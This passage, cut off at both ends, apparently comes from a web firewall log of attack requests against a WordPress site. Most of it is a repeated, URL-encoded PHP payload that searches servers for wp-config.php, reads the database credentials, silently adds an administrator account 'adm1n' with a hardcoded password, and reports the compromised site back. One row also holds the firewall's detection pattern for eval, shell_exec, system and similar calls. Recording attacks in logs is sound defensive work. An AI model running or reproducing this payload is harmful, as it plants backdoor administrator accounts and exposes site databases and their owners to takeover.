0%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:12640\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=075c9837d13360cab7e282d000e684af; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\n\nbf=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 05:36:25","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HJTgNT:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 